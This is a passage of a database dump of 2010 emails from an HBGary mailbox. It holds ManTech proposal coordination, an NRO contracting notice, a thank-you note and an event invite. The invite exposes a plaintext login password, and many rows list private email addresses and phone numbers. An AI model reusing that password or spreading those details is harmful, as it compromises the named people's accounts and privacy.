}\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',14756,'aaron_hbgary_com/14756.html'),(12147,'2010-09-22','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297009006.M508491P14101Q7002.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com','RE: Sealed Packages (IAW Section L) Due Friday COB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team\r\n\r\n&nbsp;\r\n\r\nAttached is our compliance\r\nmatrix for the cost volume.&nbsp; This may help you in creation of your sealed\r\npackage cost volume.&nbsp; We are working on the template right now.\r\n\r\n&nbsp;\r\n\r\nSome items may not apply to you&#8212;if\r\nthat is the case, please don&#8217;t ignore the requirement&#8212;instead, note\r\n&#8220;not applicable&#8221; and indicate why (if an explanation is needed).\r\n\r\n&nbsp;\r\n\r\nThe sealed packages should be\r\ndelivered to ManTech so that we can ensure delivery of one complete package.&nbsp;\r\nOf course, your package will remain sealed.\r\n\r\n&nbsp;\r\n\r\nPlease let us know if you have\r\nany questions.&nbsp; Thank you for your hard work as we near the finish line.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp; If\r\nyou received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Tuesday, September 21, 2010 4:37 PM\r\nTo: Ott, Stephen D; courtneys@thebuffalogroup.com;\r\n\'schleep@thebuffalogroup.com\'; ted@hbgary.com; Aaron Barr; Nuhad Karaki; Pat\r\nBlack; kathyrondon@aol.com; barlow.katrina@gmail.com; Megan Speicher;\r\nsamuel.corbitt@siegetechnologies.com; Sam Corbitt\r\nCc: James Berman; Simpson, Patrick B; Windle, Amanda J; Kassaie, Rachel\r\nC; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com; Contee, Maxine E; Grays,\r\nCheryl D\r\nSubject: RE: Sealed Packages (IAW Section L) Due Friday COB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nWe are working on the checklist\r\nright now.&nbsp; We may be able to send a sanitized version of our cost volume\r\nto use as a shell/template as well.&nbsp; It may be later this evening when\r\nthey are sent.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp; If\r\nyou received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Tuesday, September 21, 2010 11:41 AM\r\nTo: \'courtneys@thebuffalogroup.com\'; \'schleep@thebuffalogroup.com\';\r\n\'ted@hbgary.com\'; \'Aaron Barr\'; \'Nuhad Karaki\'; \'Pat Black\';\r\n\'kathyrondon@aol.com\'; \'barlow.katrina@gmail.com\'; \'Megan Speicher\';\r\n\'samuel.corbitt@siegetechnologies.com\'; \'Sam Corbitt\'\r\nCc: \'James Berman\'; Simpson, Patrick B; Windle, Amanda J; Kassaie,\r\nRachel C; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com\r\nSubject: Sealed Packages (IAW Section L) Due Friday COB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood morning.&nbsp; Please ensure your sealed packages are\r\ndelivered by COB Friday and that they meet the requirements of Section L (in\r\nparticular 6.0 Volume VI&#8212;page 15-24).&nbsp; \r\n\r\n&nbsp;\r\n\r\nOur pricer, Cheryl Grays is creating a checklist for the\r\ncost volume.&nbsp; I will send that to each of you later today.&nbsp; Hopefully\r\nit will help ensure all the requirements are being met.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16828,'aaron_hbgary_com/16828.html'),(12148,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009006.M738689P14101Q7003.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Sealed Packages (IAW Section L) Due Friday COB','So this helps...Sent from my iPhoneBegin forwarded message:From: &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt;\r\nTo: &quot;courtneys@thebuffalogroup.com&quot; &lt;courtneys@thebuffalogroup.com&gt;, &quot;schleep@thebuffalogroup.com&quot; &lt;schleep@thebuffalogroup.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Nuhad Karaki &lt;nuhad.karaki@inceptre.com&gt;, Pat Black &lt;patricia.black@macb.com&gt;, &quot;kathyrondon@aol.com&quot; &lt;kathyrondon@aol.com&gt;, &quot;barlow.katrina@gmail.com&quot; &lt;barlow.katrina@gmail.com&gt;, Megan Speicher &lt;mspeicher@telemussolutions.com&gt;, &quot;samuel.corbitt@siegetechnologies.com&quot; &lt;samuel.corbitt@siegetechnologies.com&gt;, Sam Corbitt &lt;sam.corbitt@siegetechnologies.com&gt;\r\nCc: James Berman &lt;james.berman@inceptre.com&gt;, &quot;Simpson, Patrick B&quot; &lt;Patrick.Simpson@ManTech.com&gt;, &quot;Windle, Amanda J&quot; &lt;Amanda.Windle@ManTech.com&gt;, &quot;Kassaie, Rachel C&quot; &lt;Rachel.Kassaie@ManTech.com&gt;, &quot;Hull, Wayne A&quot; &lt;Wayne.Hull@ManTech.com&gt;, &quot;kirkpatrickj@thebuffalogroup.com&quot; &lt;kirkpatrickj@thebuffalogroup.com&gt;, &quot;Contee, Maxine E&quot; &lt;Maxine.Contee@ManTech.com&gt;, &quot;Grays, Cheryl D&quot; &lt;Cheryl.Grays@ManTech.com&gt;\r\nSubject: RE: Sealed Packages (IAW Section L) Due Friday COBGatorbait Team\r\nAttached is our compliance matrix for the cost volume.  This may helpyou in creation of your sealed package cost volume.  We are working onthe template right now.\r\nSome items may not apply to you-if that is the case, please don&#39;t ignorethe requirement-instead, note &quot;not applicable&quot; and indicate why (if an\r\nexplanation is needed).The sealed packages should be delivered to ManTech so that we can ensuredelivery of one complete package.  Of course, your package will remain\r\nsealed.Please let us know if you have any questions.  Thank you for your hardwork as we near the finish line.\r\nRegards,SteveStephen OttPrincipal Subcontracts Administrator\r\nManTech Mission, Cyber, Technology, and Solutions Group7799 Leesburg Pike, Ste 700 SouthFalls Church, VA 22043\r\n(P) 703-485-8010(F) 703-847-0486 **PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are theaddressee (or authorized to receive for the addressee), you may not use,copy, disclose or distribute this email or any of the contents of this\r\nemail.  If you received this email in error, please promptly notify thesender by reply email and delete this email from your records.  Thankyou.\r\nFrom: Ott, Stephen D Sent: Tuesday, September 21, 2010 4:37 PMTo: Ott, Stephen D; courtneys@thebuffalogroup.com;\r\n&#39;schleep@thebuffalogroup.com&#39;; ted@hbgary.com; Aaron Barr; Nuhad Karaki;Pat Black; kathyrondon@aol.com; barlow.katrina@gmail.com; Megan\r\nSpeicher; samuel.corbitt@siegetechnologies.com; Sam CorbittCc: James Berman; Simpson, Patrick B; Windle, Amanda J; Kassaie, Rachel\r\nC; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com; Contee, Maxine E;Grays, Cheryl DSubject: RE: Sealed Packages (IAW Section L) Due Friday COB\r\nGatorbait Team,We are working on the checklist right now.  We may be able to send asanitized version of our cost volume to use as a shell/template as well.\r\nIt may be later this evening when they are sent.Thank you.Regards,\r\nSteveStephen OttPrincipal Subcontracts AdministratorManTech Mission, Cyber, Technology, and Solutions Group\r\n7799 Leesburg Pike, Ste 700 SouthFalls Church, VA 22043(P) 703-485-8010(F) 703-847-0486 \r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments)are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use,copy, disclose or distribute this email or any of the contents of thisemail.  If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.  Thankyou.From: Ott, Stephen D Sent: Tuesday, September 21, 2010 11:41 AM\r\nTo: &#39;courtneys@thebuffalogroup.com&#39;; &#39;schleep@thebuffalogroup.com&#39;;&#39;ted@hbgary.com&#39;; &#39;Aaron Barr&#39;; &#39;Nuhad Karaki&#39;; &#39;Pat Black&#39;;\r\n&#39;kathyrondon@aol.com&#39;; &#39;barlow.katrina@gmail.com&#39;; &#39;Megan Speicher&#39;;&#39;samuel.corbitt@siegetechnologies.com&#39;; &#39;Sam Corbitt&#39;\r\nCc: &#39;James Berman&#39;; Simpson, Patrick B; Windle, Amanda J; Kassaie,Rachel C; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com\r\nSubject: Sealed Packages (IAW Section L) Due Friday COBGatorbait Team,Good morning.  Please ensure your sealed packages are delivered by COB\r\nFriday and that they meet the requirements of Section L (in particular6.0 Volume VI-page 15-24).  Our pricer, Cheryl Grays is creating a checklist for the cost volume.  I\r\nwill send that to each of you later today.  Hopefully it will helpensure all the requirements are being met.Thank you.\r\nRegards,SteveStephen OttPrincipal Subcontracts Administrator\r\nManTech Mission, Cyber, Technology, and Solutions Group7799 Leesburg Pike, Ste 700 SouthFalls Church, VA 22043\r\n(P) 703-485-8010(F) 703-847-0486 **PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are theaddressee (or authorized to receive for the addressee), you may not use,copy, disclose or distribute this email or any of the contents of this\r\nemail.  If you received this email in error, please promptly notify thesender by reply email and delete this email from your records.  Thankyou.\r\n&lt;Gatorbait_Volume VI_Cost Volume Compliance Matrix and Proposal Outline.docx&gt;\r\n',9875,'aaron_hbgary_com/9875.html'),(12149,'2010-09-22','arc@westfields.net','/aaron@hbgary.com/new/1297009007.M110817P14101Q7004.eml','federal@hbgary.com','AS&T Sole Source Business Opportunity Posting','\r\nThe NRO/AS&T Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPFF. The Effort Type is R&D.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1003,'aaron_hbgary_com/1003.html'),(12150,'2010-09-22','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297009007.M443046P14101Q7005.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Carma Beedle\" <carma@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','SecDev - thank you!','Dear Aaron, Carma,I just wanted to write a note to thank you both very much for being so helpful and speedy with our request for HBGary products last week. I do truly appreciate the effort that went into the expedited service and discounting.Aaron, hope to see you soon at the Palantir govcon on October 12, and if not, then at SecTor in Toronto.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n',1823,'aaron_hbgary_com/1823.html'),(12151,'2010-09-22','\"Potomac Officers Club\" <support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297009007.M744422P14101Q7006.eml','aaron@hbgary.com','POC Luncheon Event on October 5','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\n\r\nWe are pleased to announce that security expert and former White House\r\nadvisor Richard Clarke will be speaking at our next luncheon.  Richard\r\nClarke is an internationally-recognized expert on security, including\r\nhomeland security, national security, cyber security, and counterterrorism.\r\nHe is currently an on-air consultant for ABC News and teaches at Harvard\'s\r\nKennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill\r\nClinton, and George W. Bush) as a senior White House Advisor. Over the\r\ncourse of an unprecedented 11 consecutive years of White House service, he\r\nheld the titles of: Special Assistant to the President for Global Affairs,\r\nNational Coordinator for Security and Counterterrorism and Special Advisor\r\nto the President for Cyber Security. He also wrote two authoritative books\r\non Cyber Security entitled \"Cyber War\" and \"Against all Enemies\".  You can\r\nreceive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man\r\non this very relevant and topical subject.   Details of the event are\r\nincluded below.  PLEASE NOTE:  You are now required to enter your username\r\nand password to sign up for the event.  That information is contained below\r\nin this email for your ease!\r\nDate:  Tuesday, October 5th\r\nTime:  11:30 am (networking and registration) with lunch and speaker at\r\n12:00 pm  - 1:00 pm.\r\nLocation:  Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS &ndash; as you may have noticed, the Potomac Officers Club has a new\r\n(and improved!) website.  Thank you very much for your patience and\r\ncooperation as we are still fine tuning all the features and we may\r\nexperience a few \"growing pains\" in the process.  We sincerely appreciate\r\nany comments or suggestions you might have.\r\nIf you are unable to attend this event and would like to be removed\r\nfrom future reminders, please click here.\r\n\r\n\r\n\r\n\r\n',13740,'aaron_hbgary_com/13740.html'),(12152,'2010-09-22','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297009008.M249555P14101Q7007.eml','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com','RE: Sealed Packages (IAW Section L) Due Friday COB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood morning.&nbsp; We are sorry\r\nfor the delay in getting you the template.&nbsp; Hopefully you&#8217;ve been\r\nproducing the information IAW Section L (cost volume) and can just drop the\r\ninformation into the appropriate places.\r\n\r\n&nbsp;\r\n\r\nIf a section is not applicable&#8212;for\r\nexample, if you are only providing rates, but not hours at this time&#8212;then\r\nmark those sections as &#8220;N/A.&#8221;&nbsp; Also, provide an explanation if\r\nyou believe it may be necessary.\r\n\r\n&nbsp;\r\n\r\nI left some of our language in\r\n(highlighted).&nbsp; Do not feel compelled to leave it alone&#8212;you are free\r\nto change it.&nbsp; It is there for guidance.\r\n\r\n&nbsp;\r\n\r\nIf you have questions, please\r\nlet us know. &nbsp;\r\n\r\n&nbsp;\r\n\r\nAlso, as many of you know, Wayne\r\nHull and Rachel Kassaie (cc line above) will be taking care of the\r\nsubcontracting issues for the remainder of the proposal.&nbsp; Also, if you\r\nhave a question about the cost volume, Patrick or Cheryl may be able to\r\nassist.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThank you for your help.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp; If\r\nyou received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Wednesday, September 22, 2010 